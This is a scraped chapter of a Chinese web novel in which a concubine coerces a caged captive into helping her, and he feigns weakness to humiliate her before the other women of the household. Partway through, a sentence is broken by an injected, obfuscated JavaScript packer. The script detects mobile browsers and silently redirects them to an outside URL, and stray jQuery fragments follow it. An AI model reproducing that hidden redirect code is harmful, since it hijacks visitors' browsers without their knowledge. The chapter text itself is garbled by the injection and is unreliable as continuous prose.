默认冷灰
24号文字
方正启体

4. 幽州雪(4)

作者:张鹊荷本书字数:K更新时间:
    绝芳提上铲子出来,立在花潮身边。


    花潮向脚边的雪包抬抬下巴,示意绝芳。


    绝芳生怕一铲子给冯尽灯的‘尸体’铲坏了,小心翼翼用铲子把雪包拔开。


    慢慢的,露出雪堆下掩埋着的人。


    雪浸湿了他的衣裳,青灰色的料子湿漉漉地黏在他身上,隐约可见衣襟底下的肌肤已经被冻成红紫色。


    如此冷的冬天,花潮在外都止不住的发抖,可雪地上的人只是安静地躺着,连一丝气息也无。


    见状,绝芳惶恐不已:“他好像真的已经死了。若是节帅问罪……”她正要去试探冯尽灯的鼻息,手中的铲子突然被花潮抢过。


    花潮无畏一笑:“让我看看他死透了没。”


    她蹲到冯尽灯面前,用铲子轻轻拍了拍冯尽灯的面颊,“刘守光抓了我的人,我要你想法子去找刘守光把人要回来,死要见尸活要见人。你要是做到了,我会让你不用再生活在笼子里,让你吃饱穿暖,还会给你单独的房间。”


    雪地上的人没动。


    他双眼紧闭,长长的睫毛垂挡住眼皮,雪花簌簌落在上面。但雪花没有融化,他甚至没有了足以融化雪花的温度。


    花潮不为心软,继续说:“你要是不吭声,还要继续装的话,我就把你五花大绑,再在你身上涂满动物的鲜血,把你丢进荒山野岭去,喂野狼或者大虫都好。


    “总之你要是想死,我会让你死无全尸。听明白了?”


    冯尽灯依然没动。


    绝芳:“……”都什么时候了,她居然还有心思跟一具尸体说闲话。眼下不是应该赶紧想个补救的办法,好在节度使问罪的时候安然脱身吗?


    “小夫人,要不咱们还是……”绝芳想劝花潮回到正轨,话没说完,花潮打断她:“去厨房让人杀几只鸡,把鲜血给我取来。”


    绝芳只得暂时压下喉咙的话,快步走出居水阁。


    花潮没必要在冰天雪地里等她回来,便站起身来,把铲子随意一丢,朝屋子里走。


    “咳咳……”走了还没两步,身后响起冯尽灯虚弱的咳嗽。


    花潮一顿,转过身来,看着那在雪地里慢慢坐起的人,冷笑一声:“不装了?”


    冯尽灯单手虚握成拳,捂住干裂的唇咳嗽不停,“我这是怎么了?”他一副无辜的可怜样:“许是又饿晕过去了吧。小娘莫要见怪,我常常如此。


    “不过,方才小娘您说的……”


    花潮两步走近他,不齿地笑道:“哦,既然晕过去了怎么会知道我方才说了什么?”


    冯尽灯无所谓地摊了摊手,“好吧,小娘不说便罢了。反正要救人的也不是我。”


    “你!”以前没有发现,眼前的男人拿捏旁人软处的本事竟如此厉害。


    花潮不满,“你明明听见了,为何还要故意问我?”


    冯尽灯抬头,“因为想要小娘再重复你的承诺。若我办到,会让我不再活在狗笼里。”


    “对。”


    冯尽灯凝视她,漆黑的眼睛深不见底:“说话算数?”


    花潮被他的眼神看得有些心虚,“保证一言九鼎。”


    “行。你这桩生意,我接了。”


    花潮叮嘱:“不能暴露我。要是暴露了,我还是会把你丢到山里喂给大虫。”


    “是吗?”


    冯尽灯默默看她一眼,从雪地里站起来,恰好见居水阁外走来绝芳的身影,他顿了顿,本来稳健的身子突然剧烈的摇晃起来,他急忙扶住手边的梅花树,树梢经他这么一晃,鲜红的花朵扑簌簌地掉下来。


    花潮一瞬不瞬地看着,心中冷意更甚,他还真是无时无刻都在演。只是不知他究竟有何目的,花潮更为警惕起来。


    这时,一朵落在他眉间,鲜红的颜色衬着他苍白却俊朗的面容,说不出的妖冶。


    不合时宜地想起来,冯尽灯非常喜欢红色。上一次任务,冯尽灯控军权,成为人上人之后,他几乎每一日都穿红色。


    花潮低头,看见自己身披的红色斗篷,心头狠狠一跳。


    她也喜欢红色,之前她总是身穿红衣在居水阁走动。


    当时不觉有他,然而现在想想,冯尽灯一直在居水阁的笼子里,所以之前的自己每日都穿他喜欢的红衣,在他眼前来来去去?


    花潮突然感到一阵恶心,当即解开斗篷丢到地上,吩咐已经走过来的绝芳:“把它拿走,再翻翻我的衣橱,凡是红色的都给我丢掉。”


    绝芳端着新鲜的鸡血刚过来,就看见花潮进屋的背影和地上的斗篷,还有那突然活过来的冯尽灯。


    “你、你怎么……?”绝芳睁大眼,惶恐地望着梅花树下的冯尽灯。


    冯尽灯无视她的惶恐疑惑,十分虚弱般地摇摇晃晃走到院墙下的狗笼边,知趣地爬了进去。


    天气越来越冷,冯尽灯蜷缩到他的伙伴,一只北地犬身上。


    北地犬自他记事起便伴其左右,一人一狗经年相处,生出了几分微妙的情谊。他给它起名白毛。


    名字由来很简单,因为白毛长着厚厚的白色毛皮,如果不是因为它厚厚的绒毛,冯尽灯熬不过一年又一年的冬天。


    白毛侧躺着睡觉,、冯尽灯见他露出毛茸茸的半边肚皮,便趴了上去,寒冷的身体很快就得到它的温暖,如往常的每个晚上一样,他听着白毛浅浅的心跳声不安睡去。


    一觉睡了不知多久,冯尽灯迷迷糊糊中听见踩雪的簌簌声,他警惕地睁眼,看见天光已经大亮,小径前方走来一道翠色的身影,近了发现是绝芳。


    绝芳来到笼子前,低头说:“你出来吧,陪小夫人去主母院请安。”


    花潮到底是名义上的妾,每月初一十五和三十,她都得到主母面前刷个脸。


    冯尽灯心下疑惑,内宅女眷请安茶会,花潮带他做什么?莫不是心有奸计想对付他。


    冯尽灯本能就要拒绝,但又想到什么,乖顺地低下头,“是。”


    他摸了摸白毛的脑袋,“我很快回来。”


    说完冯尽灯爬出笼子,为了不必要的麻烦,重新关好白毛,才跟着绝芳走。


    到了花潮居住的正屋门前,冯尽灯算是明白花潮为何要让他一起去给主母请安了。


    只见屋外的空地上,放着一个大大的雪橇。


    雪橇两边架了两个竹筒,里面装了满满当当的瓜果零嘴,让坐在里面的人随手就能拿到吃的。


    花潮穿着厚厚的绒褙子,领口一小圈白绒兜着她漂亮的脸蛋,此刻她靠在雪橇里,一边磕着瓜子一边奸笑着看他:“拉我去主母院。”


    冯尽灯抿唇,沉默半瞬,“我记得没错的话,节度使大人在府里养了北地犬,专门为小娘拉雪橇的。”


    “那怎么了?”花潮不以为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202101|197233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意,“我就要你拉。”


    冯尽灯不做声。


    “你连名字都没有,别人要不喊你狗东西,要不喊你六狗,反正都是狗,你们有什么区别吗?”


    “没有区别。”


    “既然没有区别,那让你做狗该做的事,拉拉雪橇怎么了?”


    花潮冷笑,尖锐地看着他,拿出从前冯尽灯逼迫她做/爱时说过无数次的话来逼他:“怎么,你不愿意?”


    “没有。”冯尽灯不再推拒,像拉黄包车似的开始拉雪橇,“小娘说的不错,狗就应该做它该做的事。”


    花潮看着冯尽灯的背影,看起来很瘦弱,他拉得很卖力,但一句怨言都没有。


    雪花不停地下,他的手背冷得开裂,丝丝鲜血冒出来。


    花潮丝毫不怜悯曾经欺辱过她的男人,她舒舒服服地吃着零嘴,哼着小曲。等会儿到了主母院,刘仁恭那些个小妾们肯定又要夹枪带棒、话中有话的互怼、掐架,想到那个场面,花潮就忍不住吃瓜的兴奋。


    如果运气好,还能听见贵家大族内院的惊天八卦。


    花潮高兴得哼曲儿的声音都高了起来,没一会儿,到了主母院。


    远远就看见廊庑下已经聚集了花花绿绿的身影,花潮正要喊冯尽灯停,突然雪橇,剧烈地颠簸了一下,猛地从冯尽灯手里脱出,咚咚几声巨响,翻飞好几米远。


    “哎哟我的天爷!”花潮被重重地摔出来,只觉屁股和腰臀都要裂了,痛得她龇牙咧嘴。


    绝芳急忙跑过来扶她,花潮捂住屁股慢慢爬起来,“痛死我了,痛死我了……”


    她刚站稳,就听见廊下传来阵阵笑声,几个眼熟但喊不出名字的妾室们捂嘴看着她偷笑。


    “……”花潮的脸一下子就红了,生气地瞪向冯尽灯,那男人早就乖觉地朝她跪了下来,“都是我的不是,任由小娘责罚。”


    “笨死了,六狗吃不饱穿不暖的,哪里有力气给她拉雪橇?”


    “就是,仗着会炼几颗黑不溜秋的丹,狂妄地来请安也要坐雪橇,嘁!”


    “……”以前这些话从来不会砸到花潮身上,因为她从不与人相争,所以她乐得来请安看掐架听八卦。


    现在自己反而站在瓜田中心,花潮难受得不行,看着雪橇在雪地上压出的轨迹,一路上根本没有什么障碍物,但却飞出来这么远。


    花潮立刻就明白了,不可置信地看着冯尽灯:“你故意的?!”


    故意让她当众出糗。


    “没有,不敢,我只是做了一条狗该做的事。”


    真是好熟悉的一句话!花潮的火气一下就冲到了头顶,冲上前,一脚踹在冯尽灯的肩膀上。


    冯尽灯猛地跌去好几米远,捂住胸口呕了一口血,花潮惊奇地睁大眼,她哪有那个本事给他踹那么远,而且明明踹的是肩膀,他捂胸吐血是在干什么?


    不等花潮弄明白这厮到底在为装什么,冯尽灯已经爬回来,跪在花潮面前瑟瑟发抖,眼睛里流露出对她的恐惧,“小娘饶命,小娘饶命……”


    廊下的美妾们鄙夷地看着花潮:“一个女子竟然如此暴躁,草原女子果然上不得台面!”


    “可不是嘛,我瞧着六狗没说什么重话,也没有忤逆她,不是都认错了吗?她怎么这也能生气,还给人都踹吐血了?”


    “……”


    花潮:“???”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)